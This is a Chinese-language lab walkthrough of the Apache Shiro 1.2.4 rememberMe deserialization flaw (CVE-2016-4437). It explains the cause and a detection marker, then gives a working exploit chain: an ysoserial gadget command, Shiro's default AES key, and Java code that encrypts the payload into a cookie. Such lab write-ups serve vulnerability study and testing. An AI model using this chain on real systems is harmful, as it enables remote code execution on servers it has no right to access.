Shiro介绍
Apache Shiro 是一个功能强大且易于使用的 Java 安全框架,它为开发人员提供了一个直观而全面的身份验证、授权、加密和会话管理解决方案。
Apache Shiro 是 apache 开发的新的用户认证和权限校检框架,相比于 Spring Security 框架更加的简洁易用。
架构总览
Shiro 反序列化漏洞原理分析
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
特征判断
返回包中包含rememberMe=deleteMe字段。
漏洞复现
在vulgub启动Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)的靶场
docker-compose up -d
服务启动后,访问http://your-ip:8080
可使用admin:vulhub
进行登录
使用ysoserial生成CommonsBeanutils1的Gadget:
java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
使用Shiro内置的默认密钥对Payload进行加密:
package org.vulhub.shirodemo;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
发送rememberMe Cookie,即可成功执行touch /tmp/success
: